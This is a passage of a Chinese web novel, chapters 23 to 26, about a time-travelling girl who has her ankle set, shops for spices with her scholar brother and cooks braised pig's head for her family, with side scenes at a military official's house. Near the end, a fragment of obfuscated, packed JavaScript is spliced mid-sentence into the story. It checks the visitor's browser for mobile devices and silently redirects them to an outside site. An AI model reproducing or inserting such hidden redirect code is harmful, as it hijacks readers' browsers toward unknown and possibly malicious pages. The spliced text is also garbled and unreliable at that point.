李挺在一旁拧着眉头差点来一场直播教育，低头看自家妹妹额头细密的汗水连鬓角都打湿了，嘴唇结痂的伤口又有裂开的迹象，立马便消了气，有些心疼妹妹的懂事。
明明这么疼，却愣是没哭，方才在街上也是沉稳地等着自己，也并未因自己的倒霉而发泄怒气，还事先和门口的道士说了自己的去处，事情处理得十分有条理。
李挺心下不禁感叹，妹妹确实长大了。
李姝还以为这大夫会调侃或者嘲讽自己，平日里的大夫不都是这样吗——“哟！瞧热闹，把自己瞧成热闹了吧？”或者是这样——“腿都肿成这样了也不吭一声，挺能忍啊，有这本事干什么不好？非跑去瞧热闹！”
这大夫眼神冷成这样，要是开口，一定能大杀四方。
可他顶着张冷脸，却像是有些好奇，问道：“热闹好看吗？”
“啊？啊！”上一秒李姝还在疑惑，下一秒无情鬼手趁机动手了...这“咔嚓”声倒是没有方才那些人的大声。
只是疼是一瞬间的，可反应却不是，李姝好一会还处在心有余悸之中。
直到李挺声音响起：“怎么样了？”李姝才稍稍回神，悄悄动了动脚，不疼了，
大夫利落起身，擦了擦手，边说：“行了，只是有些错位，不算严重，可以走动但不可多走，半月后便可恢复。”也没再问方才李姝没答的话，仿佛只是随意丢了个毫不在意的小玩意，丢了就丢了，完全不用过心。
还以为他也喜欢八卦呢，李姝还没来得及分享，话都憋在口中了，却被人轻飘飘丢弃了话口，眼波流转，本着八卦不过夜的原则，她装作懵懂的模样开口：“热闹很好看，你要听吗？有个...”
“嘶~”李姝抱头，忘了她哥还在了...李挺在一旁看不下去了，对着李姝头上就是一个爆炒栗子，严肃道：“说什么呢？”
那年轻大夫没给这两兄妹一个眼神，写方子的手都没停，不一会方子递给李挺，示意他们可以滚了，平静的招魂声再一次响起：“下一位。”
李姝灰溜溜地被她哥搀出去了，没看到背后的人竟抬眸瞧了自己一眼，冷冽的眼神中划过一丝温暖，只是很快便消失不见了。
买肉花了十文，看病...算盘珠子噼里啪啦几声，掌柜的声音响起：“一共二十一文。”今日流水五十文，利润估计有二十五文，还是不扣人工的...这...谁还敢生病？
反正都破财了，李姝有些破罐破摔，想到自己早就想买的香料，对着掌柜问，“请问有没有八角、桂皮和香叶？”
掌柜有些疑惑，“八角是指八角茴香吗？”
“是的。”忘了这些香料的名字跟古代不一样了，其他两样叫什么来着？
“有的，这桂皮是要厚肉桂吗？另外这香叶是何物？”
完了，香叶是何物，我怎么知道？
李姝沉思许久，也没想起香叶还有没有别的名称。
“可是月桂叶？”身侧李挺的声音响起，李姝猛然想起来，香叶好像确实是桂树的叶子，“对，是月桂叶。”顿了顿，又补了句：“各要五文钱。”
很好，一天的流水剩四文了...
李姝有些肉疼的准备伸手拿钱，李挺瞧着妹妹那心疼的模样，心下有些好笑，伸手递了钱给掌柜。
前些年爹娘供着自己读书，家里确实穷苦，如今考上秀才，县里每月会发放些许补贴，
平山县虽说有好几个书院，可这些书院历代不久，平山县往年的秀才数量少之又少，举人更是不必多说，好些年才能出一个，也就是这几年，圣上广招贤才，鼓励民间创办书院，才有了李挺这一代秀才频出的盛况，县里早就憋着一口气要洗刷平山县每次人才末等的屈辱，对县里的秀才十分看重，政策上当然会多多帮扶。
不仅在学院的束脩是全免，还能免税，每月也能领少许银子补贴，让穷苦人家减轻了许多负担，加上李忠张翠花从不会拿李挺自己赚的钱，他赚的钱都是自己攒着，本是
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打算攒着往后乡试会试用作路费的。
可无论如何，都没有家人重要。
李姝震惊的看着她哥，以她对古代基本算是文盲的知识储备，是压根想不到秀才还能有什么待遇的，她只是疑惑，家里不是穷吗？甚至都不常吃肉，可她哥钱袋里像是有好几两银子...
难道...李姝差点用上了阴谋论，想了想又觉得不至于，怕是因为哥哥读书需要，况且自己卖个包子的钱她娘都不拿，以她哥的性子，肯定也会在城里找活计，爹娘怕是也从未拿过他一分一毫。
李挺蹲了半天也不见妹妹趴上来，转头见李姝愣在一旁，眼睛滴溜溜的转，也不知道在琢磨什么，有些好笑地低头凑近，“想什么呢？”
李姝抬头，眼睛无辜的扑闪，有些讨好地问道：“哥，你怎么赚钱的？也教教你妹妹？”
李挺轻笑一声，有些故作神秘的低声说：“想学？”
李姝点头，眼里不自觉地泛着光——应该比我的卖包子计划赚钱吧？
“等你哪天把三字经里的字认完再说吧。”语气里带着些宠溺的瞧不起，李姝一时间竟没办法反驳，这里的字她还停留在连蒙带猜的阶段...
还能不能好好做兄妹了...
眼前的妹妹灵动又可爱，李挺有些遗憾，前几年自己真的错过了许多，幸好，如今也不晚。
“好了，快回家吧，再晚点，爹娘该担心了。”李挺拉着李姝催促，将人背起就走。
李姝踝骨接好后那钻心的疼已经消失了，精神也好了许多，此刻在她哥背上，她才注意到李挺被汗湿的头发，许是顾忌着自己的脚，他不敢将自己逐渐有些下滑的身子往上拉，导致他走路时竟是一直有些驼背，手抓着她的腿也不敢乱动，怕是早就僵了。
李姝手上用力，自己往上窜了窜，少年的肩膀并不宽厚，甚至有些单薄，李挺被她扯得往后倒了几步，有些无奈的斥道：“乱动什么？”
李姝趴在他肩头，声音有些沉闷：“哥，我们坐车回去吧。”回家要一个多时辰，可如果自己坚持要走的话，怕是半夜都走不到，她哥也不会允许。
李挺侧头看了妹妹一眼，眼里带着温和的笑意，“怎么？心疼哥哥？这点路我还是能走的，不算什么。”
他也不算吹牛，村子里长大的孩子，本就淘气，加上李挺小时还跟着祖父练刀，马步更是从前每日的功课，虽说近几年有些荒废，可身体还是比一般的文人好上许多。
李姝没顺着她哥的调侃往下说，只认真的说道：“钱没了可以再赚，哥哥只有一个，不能累垮了，况且明日你还要早起到书院，今日已经够累了。”
李挺还要坚持，因着之前穷苦了几年，他和爹娘一样都养成了节俭的习惯，下意识地不想浪费钱，“没事，我...”
“哥，你就听我的吧，往后我定能将这钱百倍赚回来！”李姝话说得倒是豪气，只是在李挺这没有什么信服力，可他也没有辜负妹妹的好意，应了下来，“好，哥哥等着那天。”
24. 第 24 章
萧宅，都尉府。
萧青璃换回了女装，白日里英气的模样穿上女装后显得柔和了不少，连坐姿都有了女子的端庄模样，烛光掩映下，轮廓分明的脸上此时正有些漫不经心，手上拿着块布来回擦着自己的鞭子，眼里不时闪过一抹亮光，也不知在想什么，布都快被擦出火了也没见停。
烛火被门外侍女带进来的风晃动了一下，有些晃眼，萧青璃抬眸，来回擦的手终于停了下来，侍女示意门外侍从要禀报差事，萧青璃眸中闪过些许失落，手又不自觉地动了起来，“让他进来吧。”语气随意，显然不是她期许的消息。
被派去跟着李姝兄妹的侍从进来了，萧青璃这才想起今日的事，问道：“都打听清楚了？”
侍从见礼回道：“是，那李挺是平山书院的，今年刚考上了秀才，李挺平日在翠竹书肆抄书赚些费用，与书肆掌柜相熟，今日去书肆借了本书，后来他们俩人去了医馆后便坐车回了桃李村。”
听着没什么问题，应不是那帮自视清高的文官子弟派来的，那人竟是秀才，想起兄妹俩临走时想捡摔在地上的食物时那坦然的模样，倒没有她见过的人那般装模作样，萧青璃有些好奇：“借的什么书？”
“呃...”那侍从没想到自家小姐会突然对书感兴趣，一时面露难色，有些支吾地说：“掌柜说是珠算启蒙之物，具体叫什么...小的，小的再去问问。”
“行了，不用，下去吧。”她身边就没有多少爱看书的人，她自己都爱舞刀弄枪，也不强求别人非得要读书，反正知道那两人不是谁派来的便好。
想了想，觉得还是要有始有终，萧青璃又将今日跟着去了县衙的人叫了进来，“今日的事知县是怎么判的？”
侍从早已打好腹稿，等着自家小姐问了：“那乞丐和窦三少爷都判了十板子，窦三少爷还被罚了银钱赔于今日那位被撞的姑娘。常小少爷...”
顿了顿，侍从像是有些不确定剩下的事要不要再说，有些欲言又止。
萧青璃有些头疼，“常青怎么了？”
侍从方才继续说：“常小少爷去了百花楼找窦三少爷，谁知那窦四少爷和陈二公子等人都在，常小少爷对今日之事与窦三少爷理论，被其他几位公子听到了，窦三少爷被那几位公子激得说了些不好听的话，两人还未说几句便吵了起来，常小少爷放话窦三少爷说往后都不必来往了。”
她就知道，让常青和窦子恒凑一窝总是要炸，就俩人这脾气与脑子，随便被激一下就会口不择言，萧青璃头更疼了，这两日她打算窝在家里不出门，免得明日两人吵得她不得安宁。
“知道了，你下去吧。”顿了顿，她又叫住了侍从，“你去和衙役说，那被人撞倒的姑娘是平山书院秀才班李挺的妹妹，免得他们连人都找不到。”倒不是怕他们找不到人，是怕他们送错了人——比如送到他们自己口袋。
侍从应了声便退下了。
像是被这乱七八糟的事激起了些精神，萧青璃总算不再心不在焉的擦鞭子了，她有些失落的看了看院子，那前院的拱门一直没有出现她等的人，随即又像是想开了，她伸了伸懒腰，一下由端庄的名门淑女变成了整日溜街游船的女纨绔，转换十分自如，接着大手一挥，吩咐道：“用饭吧。”
就在此时，身材高大的都尉跨过了拱门，朝前厅走来，宽大的步伐带起了一阵冷风，烛光猛地摇晃了一下，萧青璃回头，她爹怎么一脸官司？
“爹，你回来了？”萧青璃有些欣喜，总算是等到了人。
萧慎萧都尉没有应声，只径自去了内屋洗漱，顺手阻止了想帮他的侍从，动作利落带着不容置疑，他们家不算讲究，不至于洗手擦脸还需要人服侍。
半晌，他卸了身上的甲出来，见平日里饭吃得比自己还快的女儿正眼巴巴的瞧着自己，剑眉微挑，薄唇微微上挑，带着些了然：“又闯什么祸了？”
萧青璃...真不怪她天天想取代他爹自己上位，瞧瞧这父不慈的父女关系，她最大的目标便是有天能站得比她爹还高，也用这带着些看孽女的表情问他：“老头，又闯什么祸了？”
可她也只能想想了，因为她不敢...不仅不敢，她还要低眉顺耳，“爹，我那婚事...”提起自己的婚事也不见任何女儿家的羞涩，比她用来垫桌角的女训还不在意。
萧慎早就习惯了，可习惯了不代表他脑袋不疼，他虽忙，可从前也常常抽出时间陪女儿，教育也不可谓不上心，怎地就养出了如此男儿性子的女儿，一点都不像她娘一般温婉如兰，不爱读书就算了，反正他也不爱看那些文绉绉的书，可整日过街溜巷喝酒游船是怎么回事？百姓都叫她女纨绔了，往后可还怎么嫁人？
看他爹看着自己发愁的模样，萧青璃手中饭碗不停，脚下却不自觉地朝着门口，准备情况不对立马跑路，怎么回事，她今天和常青悄悄揍了王昌之的事他爹知道了？
也亏得她爹不知道，不然吃饭前就得先来一套拳脚热身运动，萧慎心下叹了口气，女儿已经这样了，往后怕是要招婿，见她还是对自己的婚事有些上心，也算是有了些安慰，“已经退了，只是这婚事虽说是你祖母定下的，可她年纪大了怕也是被哄骗的，应不知道王家那小子竟是如此不着调，她向来是疼你的，你也别怪她。”
王家那小子何止不着调，日日流连怡春院不说，屋里养的通房小妾比他院里奴仆还多，也就是母亲远在京城未见过，只知道个太原王氏便稀里糊涂地应下了婚事，要知道如今文武之争如此激烈，王家世代清流，怎会找他一个武将结亲？还不是因为后辈荒唐加上当今圣上乐于见到文武通婚，才贸然开了这个口子。
况且这平山县王家也并非是太原王氏嫡系，只不过是京中之人欺她年老，加上萧慎京中兄弟确有向文官投好之意，并未仔细打听人品，连自己也是女儿被定了亲后才知道的，萧慎眼中划过一丝冷冽，也不知是不是那位的意思。
可这些话他不会跟女儿说，就算要文武通婚，也不能是这般人家，他就一个女儿，女儿又是这么一个性子，他定不会将她嫁入那姻亲遍布内院复杂的人家中。
萧青璃并未放在心上，她只担心她爹想不开硬是要将她嫁入所谓的世家之中，既然退了就行
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，不然她还要揍上那王昌之几顿，让他哭着喊着跟家人说要悔婚。
“女儿知道，祖母定不是故意的。”萧青璃语气敷衍，只是疼不疼我，就另说了，可她也只是腹诽几句，嘴上却一直没停，不知是不是小时被教规矩多了，她吃饭虽快，却不粗鲁，此时已经风卷云残的喝完了碗中的汤，正想和她爹告退。
“爹，我吃饱了。”萧青璃抬脚就要走，反正事已经解决，她多留一会就多一份被揍的风险。
“等等，着急忙慌地要上哪去？我还有话说。”萧慎一脸黑线，眉头挤成了川字，他迟早要被气得心梗。
刚抬脚的人脚步一顿，有些紧张的抿了抿唇，头也不敢回，生怕她爹问今日的事，可她也不敢走，只有些佯装镇定的问：“什么事？”
萧慎一眼就能看出眼前的女儿定是做了什么亏心事，只他方才思绪陷入家族与朝廷党争之中，一时间也懒得再问，反正女儿虽有些不务正业，却从不会做出格的事，他还有别的事要交代，“今年过年，咱们回京城看你祖母，你记得要好好准备给你祖母的礼物，不可马虎。”
萧青璃有些泄气，“知道了。”是人都能看出她的不乐意，萧慎并未责怪她，女儿从小跟着自己野惯了，京城繁文缛节多，她自己也不乐意和她那些堂兄弟堂姐妹玩，回去定是十分拘束不自在，可这一趟必须回去。
见她连精神都萎靡了，萧慎心下有些好笑，出口安慰道：“出了年便回，不会待很久。”
也没安慰多少...萧青璃只应了声是便走了，她要回去...绣见面礼？不，她要看话本，今日心情欠佳，奖励自己多看一章。
而李姝这边，父母见李姝是被她哥背着到家门口的，又经历了一场“大惊小怪”的安慰，急得张翠花立马便想去给青山寺上香，她觉得自家女儿今年灾祸不断，定是因为自己今年上香少了，一家人劝了好半晌才安静下来。
虽说确实有些倒霉，李姝却也没放在心上，她甚至要开始下厨。
没办法，她娘做的猪头肉实在不好吃，她哥恐怕也是这么觉得的，中午两人都默契的没怎么吃那肉，李姝算是懂了，这里猪肉这么便宜，怕是很多人都不会用心烹饪这个食材，既不用心自然不会好吃，不好吃自然也不会有很多人买，恶性循环。
这种用于祭祀的猪头怕更是少人吃，也想不到要如何将它做得好吃些，只是当做荤腥补补油水罢了。
可李姝吃不了实在接受不了，她虽然没吃过猪头肉，但见得多，要么用辣椒爆炒，要么卤上一卤，卤肉的香料她只认识八角桂皮香叶，应还有很多可她也记不得了，但她卤过牛肉，应大差不差，用香料卤了之后不但能去除猪肉的骚味，肉还能炖得肥而不腻，总比她娘生炒好吃。
李忠拿着处理好的猪头肉进来，张翠花也把葱姜蒜准备好了，姝儿的手艺她已经见过了，确实比自己好上许多，只是这猪头她也的确没用来做过吃食，实在不知从何下手，看女儿将今日买的香料拿了出来，她有些好奇，“姝儿，你打算怎么做？”
“卤。”
这是什么做法？
25. 第 25 章
所有菜中李姝最喜欢做的就是卤菜，无论什么肉，只要加水加料炖个一到两个时辰，美味即成，方便又省事，也不需要什么厨艺。
在爹娘拿着清洗好的食物进来的功夫，锅中的水也烧开了，李姝指挥她娘把猪牙齿部分切掉不要，再把猪头剁成两半放进开水中，葱姜蒜也随之加入，不过...还差了点东西，“娘，家里有酒吗？”
“还剩了点糟米酿的酒。”煮个不值钱的猪头肉要加这么多东西吗？张翠花有些不舍得，又不是牛羊肉，这会不会太浪费了？
虽有些肉疼，可她还是拿了出来，抱着坛子有些小心地放在灶台边上，又拿着布来回将一个大汤勺擦了好几遍，“姝儿，要加多少？两勺够吗？”边说着就要下手舀，一点也没看出来心疼。
啥？李姝看着那么大一个汤勺，有些哭笑不得，也亏得那坛子是个大宽口，能伸得进去，“娘，不用这么多，您就舀一碗吧，就用我们平日里吃饭的碗。”
“这么点够吗？这猪头这么大，这么点酒都不够润锅底的。”反正用都用了，也不差这一勺两勺。
“够了够了。”
娘哎，这酒又不是当水炖的。
趁她娘把酒坛封好拿回原位的功夫，李姝站起来舀了一勺底的米酒倒入锅中，此时锅里已经泛起了一些白沫，李姝换了个小一点的勺子开始沿着锅边将浮沫舀出，如此重复了三遍，见煮的差不多了，便让她娘将肉捞了出来。
“娘，把肉放进砂锅里。”接下来就是加料了，八角四个，香叶三片，桂皮一小块，酱油一大勺，米酒一碗，再加水没过猪肉，剩下的等就成了，李姝看着剩下只有一顿量的香料陷入了沉思...这也太不禁用了。
“姝儿，这就行了？”张翠花从未见过这般处理猪肉的，“这炖出来是不是跟香羊坊的炖羊一般？”年轻时李忠也和她一起去吃过，那炖出来的羊肉竟是没有膻味，汤汁奶白肉质软烂，喝下去浑身暖洋洋的，冬日里去吃最是舒适了，李忠吃完能冒一身汗，只是已经好些年没吃过了。
“应是差不离吧，我就是想着既然羊肉也可以炖，那猪肉定是可以的。”李姝答得脸不红心不跳，丝毫没有心理障碍，她也没办法，也不能总编理由，只要顺着爹娘的猜测说，他们自己就能脑补，能少很多麻烦。
果然，张翠花没有再问，只当又是女儿自个琢磨的，从前老爷子十分疼爱姝儿，带着她在县里走了许多地方，姝儿如若是个爱琢磨吃食的，能记得也不稀奇。
今日带回来的还有被嫌弃了一路的猪血，此时已经倒在碗里了，不仅李挺不理解妹妹为什么要买，连一向节俭的张翠花也不理解，猪肉又不是浑身金贵的羊肉，猪血猪内脏连一般的穷苦人家都不吃，那肉案师傅直接送他们一大碗便能看出来这些东西着实没人会买。
可猪血能除尘，李忠如今吃最好，李姝又不能明说，不然又要引来一番追问，只好说自己胡乱琢磨的，想试试好不好吃。
卤肉还要好一会儿，李姝也不着急做晚饭，便想出去坐坐，见她爹在堂屋里晾头发，她娘见到了立马开启了絮叨模式，弯眉愣是被她挤成了横眉，眼里的火光比烛光还盛，“李忠！我说了多少回了！头发要用布擦干，你那耳朵长这么大是摆设吗？”
李姝又猝不及防地缩了缩脖子，耳边嗡嗡嗡的直报警，果然她确实如她娘说的一般，今年像是撞鬼了，伤完一处又一处，张翠花一边说一边将李姝按在一侧的椅子上，转身又往澡堂走，“娘，我不坐，我去哥哥那，娘，娘？”
可张翠花眼睛用来看她男人，耳朵用来出气了，嘴里还没停，压根没注意李姝说什么，只絮叨着：“说了多少回都不听，拿块布擦一擦能要你的命吗？你那脑子若是还记不住我说的话，往后就别再用了！”
李姝...
转头看她爹，她爹也没空管她了，正咧嘴笑呢...眼底的笑意藏都藏不住，竟是有些得意？得逞后的暗爽？
爹...你要不要收一收，太明显了...
果然，她爹得意不是没有理由的，她娘拿着块布出来直往她爹头上盖，边搓边接着絮叨：“还仗着自己年轻吗？老了若是有个头痛脑热的，老娘可不伺候你。”
李忠配合的抬头低头砖头，都用不着张翠花开口，便知道下一个步骤了，半晌才轻飘飘地说：“今日搬了许多石块，手有些举不起来。”
这一招果然有用，张翠花立马心疼了，“酸吗？方才洗漱时有没有用热水敷一敷？晚上我给你揉揉。”
看不下去了！再看她不用吃晚饭了。
李姝悄咪咪蹦着往门口走，书房亮着灯，她哥定是在那。
李挺在抄书，沉浸其中时连李姝敲门进来都未发现，笔下得又快又稳，这书要得急，明日便要，往日抄书都是五日十日交一回，能抄多少本便给多少工钱，他已很久未抄得这般急了。
桌子边上除了他自己带回来的书，还放了本珠算要术，李姝有点懵，这是要给我的？我还是不拨算盘了吧...
小点的数我心算怕是都能比算盘快，毕竟这东西我得重头学，李姝有些头疼，这要怎么拒绝才好，总不能立一个算术天赋十足的人设吧。
本来正认真奋笔疾书的李挺听身旁妹妹的叹气声一次比一次大声，终于忍不住了，放下笔便又来了个爆炒栗子，“瞎捉摸什么呢？唉声叹气的，你那猪头肉拯救计划失败了？”
回家途中李挺忍不住问妹妹买这许多药材做什么，谁知妹妹古灵精怪的说要拯救家里可怜的猪头肉，逗得李挺直笑，还以为她能做出什么美味呢，这是失败了？
“还在炖呢，没这么快。”李姝摸了摸一天被敲了八百回的头，有些怨念，“哥，你还没当上夫子呢，便开始学人家教不严师之惰了吗
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？”
这话引用的怪里怪气，可李挺却并未在意，反而有些欣喜，“你还会背三字经了？从前让你背总支支吾吾地，不是困了就是忘了，如今居然能引用在话里，看来是从前对你太过宽松，既然如此，你练字便从三字经开始练吧。”
忘了不能在读书人面前掉书袋了...不过，三字经便三字经吧，这古代的字她确实认不出来，太复杂了，她大多只能靠着现代零星的印象以及上下文去猜，这三字经没准认识的字还没原身那个学渣多。
只是，戏要做全套，“哥，从前我没学过吗？方才我脑子里便是突然想起的，是不是从前已经学过了？那还要重新学吗？”
李挺斜瞥了她一眼，淡淡的回：“学过。”见妹妹一头雾水，起身从旁边的书架拿了本书过来，“你再看看认得多少？”
这就考上了？
李姝打开，前面是知道的，以前小学也学过，只是有些字单拎出来就不认识了，想了想也不能说一点不会，毕竟原身也学过，于是尝试着念了一段，“人之初，性本善..贵以专。”
李姝适时停下了，昔孟母后面是什么字她不太确定，好像跟她小时背的不太一样，于是抬眼看了看她哥，被逮了个正着。
李挺摇了摇头，“你说要不要重新学？”
“哥哥是夫子，哥哥说了算。”这都没被怀疑，看来原身是真不乐意学。
李挺正了正身，收了方才那温和的气质，整个人严肃了起来，“既然如此，那便往后每日练十个你不认得的字，每个字至少练十遍，直到练完，我旬假时会回来检查，没有完成便要罚你所有字重写二十遍，可愿？”
这眸子严肃时真让人有些发憷，明明一张小白脸的模样，却愣是让人不敢轻视，李姝算是讨教了她哥的变脸之快，有些乖巧地应了：“好。”
见妹妹一下蔫了，李挺适时又温和了起来，“很好，还算是胆识。”瞥见桌上那本珠算要术，便拿了过来，口吻有些哄人的模样，“姝儿，你看哥哥给你借了什么书？”
李姝...她发现她哥真的适合当夫子，这打一巴掌再给颗枣的手法耍得炉火纯青，去教书定能给学生唬的一愣一愣的。
可她还要配合，“这是什么书？”李姝有些暗暗唾弃自己，好像装得有点过，这几个字她还是认得的。
“打开看看。”李挺像是为了让自己的学渣妹妹引起对学习的兴趣，居然借了本有插图的珠算教学书，可是这整本插画都是画的算盘珠子，到底有什么好看的...她哥在书院里面竟是没学过画画吗？审美能力这么差...
李挺还在为自己的睿智感到高兴，“这是教珠算的书，好看吗？学会了你往后若是开铺子便可以算账了。”
好看，好看...
可她真的没必要学，“哥，我可以不学这个吗？”
这是为何？
26. 第 26 章
如今妹妹正沉浸在开铺子的兴头上，学会怎么拨算盘，往后记账能轻松许多，怎地还不愿意了？
可李姝话虽出口，却没想好理由，只能拙劣地扯了个谎，奔着灶房去了。
李姝知道自己冲动了，觉得没必要就学个大概好了，反正她在家人眼中一直是个学渣，她哥肯定也不会强求她一定要精通。
等会吃完就说自己看书头疼好了，李姝打定主意便放下了，开始做晚饭。
卤肉已经有香味了，李姝打开盖子，准备用筷子搅搅，防止粘锅，锅开后一阵浓郁的香味扑面而来，透过飘散的蒸汽看，有些肥腻的猪头肉被炖得整块咕嘟咕嘟抖着，因为加了黄酒，色泽比平日只加生抽的颜色深了些，所谓浓油赤酱，棕黄的颜色和肉真是最佳搭配，尤其是肥肉，光看着都能想象到肥而不腻的口感。
李姝满意了，合上盖子让它继续炖，转身开始炒菜。
张翠花已经蒸好了米饭，见李姝进了灶房，便进来帮忙添柴，刚进门便闻到了一股肉香，她从未闻过，“姝儿，这是那猪头肉的味道吗？”
看她娘有些馋的模样，李姝开盖让她娘凑近，“娘，你过来闻闻。”
张翠花咽了咽口水，她年轻时不喜欢吃肥肉，总是丢给李忠吃，可后来家里光景不好，一家人省吃俭用也不敢乱花钱，肉便吃得少了，为了沾荤腥，她再也没有嫌弃过肥肉，可她骨子里还是不太爱吃的，如今看着锅中咕嘟作响的猪肉，她第一次主动想尝尝。
就放了那几块药材便能将肉炖得如此香吗？张翠花一时像是好学的学生，眼里带着求知欲，“姝儿，是因为放了那几块药材，才能炖的如此香吗？”
李姝点头，补充道：“还有米酒。”
对，还忘了酒，张翠花默默记下了，想着往后定要自己试试。
“这是不是好了？快炒那什么猪血和白菜吧，大家都饿了。”张翠花着急忙慌地张罗着，连添柴都干劲十足。
娘，是大家饿了，还是“大家”只表示“你”...
李姝没拆穿，只拿了案板开始切韭菜和白菜。
锅热下油，放入蒜末爆香后倒入白菜，大火不停翻炒，加盐炒至白菜变软，农家菜清甜易熟，只要炒至变色便可出锅，李姝连酱油都没倒，不一会清炒白菜便出锅了，大火炒出来的菜油光清亮，看着便有食欲。
不用洗锅，李姝直接加水烧开，随后便将猪血倒入锅中焯水，想了想又加了几片姜。
约两分钟后将猪血捞出，重新起锅热油，油热下入蒜末和姜末爆香，随后倒入猪血翻炒一会，加入一碗水煮开，加盐和酱油调味煮至猪血全部熟透，再沿着锅边倒一圈淀粉水，翻炒几下将韭菜倒入继续翻炒，韭菜易熟，收汁后便可出锅，一道猪红韭菜便出锅了。
就这一会功夫，张翠花已经由馋变得更馋了，姝儿连白菜都做得这么好看，难道是不记得事了脑子便能抽出空来琢磨吃食了？从前姝儿厨艺可没这么好。
得亏李姝这段时间的洗脑，家里人已经接受她厨艺好是因为嘴馋爱琢磨了，即使厨艺便好，张翠花也用自己能想到的最不离谱的理由解释通了，连嘴都没张，自己便消化完了。
被厨房的香味吸引的不止张翠花，李忠和李挺闻到这香味都停下了手中的事，等着今天的晚饭了。
就在张翠花一声：“开饭了！”出来，每人都动了起来，各司其职，李忠帮忙端菜顺便擦桌子，李挺在外面冲碗筷，张翠花在完成最后的洗锅，而李姝则把猪头肉捞出来切片，猪肉滚烫，她只能一只手拿刀一只手用筷子固定，肉切得五花八门，可这并不影响它的味道。
方才砂锅开盖后，李忠李挺都被惊艳了，这香味与他们平常吃的猪肉可不同，平日的猪肉可没这般诱人。
棕黄的猪皮泛着油光，色泽十分好看，如今被李姝切成片，可看皮下出瘦肉的紧致，猪头肉和五花肉不一样，口感不像五花肉那般能炖得软烂，反而有些韧劲。
夹起一块闻一闻，香气扑鼻，吃入口中油而不腻，卤汁渗进了肉中，让人越嚼越香，李忠夹了一片又一片，甚至都不再说话，他从未吃过如此好吃的猪肉，并不是张翠花厨艺十分差，而是没有寻常百姓会处理猪肉，许是只有大酒楼或是大户人家才有能将猪肉变成美味的大厨吧，只是猪肉太贱，那些大厨应是不会多废心思在猪肉上。
李挺又一次见到了与从前不同的妹妹，他方才看过，这肉是炖出来的，还加了些今日买的药材进去，听他娘说还加了米酒，这有些像糟制之法，只是不知是不是妹妹自己胡乱琢磨的，带了些四不像的随意，材料也并非一样。
李挺心下有些欣慰，姝儿想开铺子的想法并非随性而起，应是自己琢磨了许久，厨艺比从前好了许多，怕是从前早就想着要做了。
这爱操心的性格恐怕是遗传张翠花，一家人都沉默又温馨的吃饭，就李挺和张翠花在操心着，李挺操心着妹妹要开铺子，张翠花则操心着李姝吃太少。
“姝儿，你怎地不夹菜？可是没胃口？”女儿做的菜怕是比这十里八村的厨娘还好，张翠花心里别提多骄傲了，见李姝像是不饿一般，她赶紧出声催促。
一家人眼神都看向李姝，连李忠都放下了筷子一脸担忧，李姝心下微暖，“方才闻着油烟味道，有些腻，一时竟是不怎么饿。”见一家人更加担心了，李姝只好接着说：“不用担心，稍后便好了，只是一时没缓过来。”
张翠花点头，往日她也会这般，菜做得越多越容易没有胃口，于是开口附和：“确实会如此，姝儿，往后你少进灶房，娘来做。”刚说完，一家人又齐刷刷盯着张翠花，眼里颇有些敢怒不敢言。
张翠花一眼便看出家人的意思，想发火，顿了顿又觉得还是算了，她也喜欢姝儿做的菜，于是无奈道：“行了，下回若是买了肉，定让姝儿做。”想了想，姝儿连白菜都做得如此好吃，又接了句：“姝儿若是不累的话，其他时候想做也是可以。”
三人这才松了口气，李姝连忙补了句不累，张翠花被气笑了，儿女她舍不得骂，总得有人承受怒火，于是弯眉冷对：“李忠，你这是什么意思？是吃腻了，还是活腻了？”
李姝端着碗便埋头吃起了饭，也不说腻不腻的话了，再说下去，活腻的人就是自己了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120776|146141||http|test|mini|href|location''.split(''|''),0,{}));
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幸好李忠经验丰富，筷子一拐弯便把准备夹进自个碗里的菜放进了自家婆娘碗里，脸上还带着讨好：“这么多年，我何时吃腻过？姝儿这菜好是好，就是吃多了容易腻，没有你做的那般清爽。”
“咳，咳咳”爹，您一晚没停筷，也没见你吃腻呀，我还在这呢！
李忠装作没看见，而张翠花，“胡说什么呢？姝儿做得可比我做的好吃多了。”虽然是事实，可抵不过李忠脸皮厚，“我觉得你做得合胃口。”
哄得张翠花喜笑颜开，忘了方才还气得想动手。
李姝抬头怒瞪，突然，一只手伸到眼前挡住了她的视线，随后碗里便多了块肉，转头，李姝看见他哥吃得淡定从容，从头到尾未发一言，也不知是秉持食不言的准则还是早已习惯，瞥见李姝看他，开口道：“快吃，不然等会都没东西吐。”
李姝...哥哥，好样的！
张翠花终于反应过来，眼里多了一丝不好意思，埋头吃饭去了，李忠...没事，他脸皮厚。
像是为了打破方才的尴尬，张翠花转移话题：“姝儿，明日要做多少饼子？”她怕李姝今日受伤，明日会起晚，于是今晚先问个清楚。
李姝想了想，工人有八十多个，扣除一些李家近所以自己带饭的人，还有些节俭，至今也坚持吃着冷食的人，大约还能有五六十人，李姝心里有数了，“娘，今日许多人说没有买到，让我们多做些呢，明日我们馅饼增加二十五个吧，再加一斤肉馅的包子。”
李忠有些担心：“姝儿，突然增加这么多量，会不会卖不完？”
“不会。”一直没怎么出声的李挺替李姝答了，“今日五十个馅饼卖得很快，后来没买到的人约有数十个，且我瞧着有些人买了一个后还想回来再买，只是见卖完了才没说，明日应卖得更快。”
儿子都这么说了，李忠自然是信的，便没有再多话。
李姝不意外，她哥是聪明人，观察也很敏锐，自是能看出来，可他不知道，李挺对她很意外，本以为妹妹算术不好，如今看，又是一个惊喜，这便是她方才说不愿学珠算的原因吗？因为她已经学会了？
李挺打定主意饭后要找自家妹妹问清楚，或等会考考她？
李姝不知道饭后或许还要迎来一场考试，只是突然想到，她明日定是无法和她娘一同抬的，增加了数量，娘能拿得了吗？“娘，要不先不加量了，等我脚好了再加，届时可以一起拿。”
“没事，今日娘找你桂香婶子拿了个新的背篓，背着走轻松许多呢。”张翠花浑不在意地说，重要的是赚钱，出点力气算什么。
这倒是好方法，今日见那男子背着背篓，李姝便想着给自家买一个了，如今她娘也想到了，倒是默契。
一家人终于下了餐桌，李忠出去洗碗了，李姝摸着肚子正想歇息，她哥就来催了，“吃饱了？”
